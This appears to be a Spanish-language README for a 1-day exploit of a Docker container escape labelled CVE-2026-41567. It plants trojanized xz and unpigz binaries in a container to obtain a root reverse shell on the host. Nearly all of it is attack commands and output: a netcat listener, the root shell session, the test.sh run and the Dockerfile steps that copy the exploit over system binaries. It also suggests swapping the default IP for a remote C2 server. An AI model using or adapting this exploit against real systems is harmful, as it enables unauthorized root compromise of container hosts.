
Explota el escape de Docker CVE-2026-41567 mediante binarios xz/unpigz troyanizados para obtener una shell root en el host desde el interior de un contenedor.
Un 1-day para la fuga de Docker CVE-2026-41567.
Es una demostración de fuga de Docker usando xz / unpigz troyanizados.
Se puede modificar fácilmente para usarse de forma remota (es decir, solo tienes que cambiar la IP predeterminada de docker por una C2 remota).
Más información sobre el exploit aquí
Ejecuta un netcat escuchando en el puerto 50005 en el host
ubuntu@ubuntu-noble:~/CVE-2026-41567$ nc -vlp 50005
Listening on 0.0.0.0 50005
Connection received on ubuntu-noble 35722
# whoami
root
# cat /etc/hostname
ubuntu-noble
# exit
Después ejecuta el script test.sh.
Si el exploit funciona, obtendrás una shell de root de inmediato.
ubuntu@ubuntu-noble:~/CVE-2026-41567$ sudo ./test.sh
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
Install the buildx component to build images with BuildKit:
https://docs.docker.com/go/buildx/
Sending build context to Docker daemon 19.97kB
Step 1/7 : FROM debian
---> 34cd9e9fd437
Step 2/7 : RUN apt update && apt install -y ncat
---> Using cache
---> c85c9eb10bff
Step 3/7 : COPY exploit.sh /usr/bin/xz
---> Using cache
---> b84efa8058e7
Step 4/7 : RUN chmod +x /usr/bin/xz
---> Using cache
---> 423b0e1891a6
Step 5/7 : COPY exploit.sh /usr/bin/unpigz
---> Using cache
---> 74eff85cf988
Step 6/7 : RUN chmod +x /usr/bin/unpigz
---> Using cache
---> 2f773fa12931
Step 7/7 : CMD [ "sleep", "9999999" ]
---> Using cache
---> 7b99f12dbe8d
Successfully built 7b99f12dbe8d
Successfully tagged cve-2026-41567:latest
cve-2026-41567
5679a4dc643c65a20039de693fad1f1caeea7fe5760b5c4049d1d4f37f5ab825
tar: Removing leading `/' from member names
/etc/hosts
Successfully copied 0B to cve-2026-41567:/tmp
Ten en cuenta que necesitas tener privilegios para comunicarte con el daemon de Docker (normalmente ser root).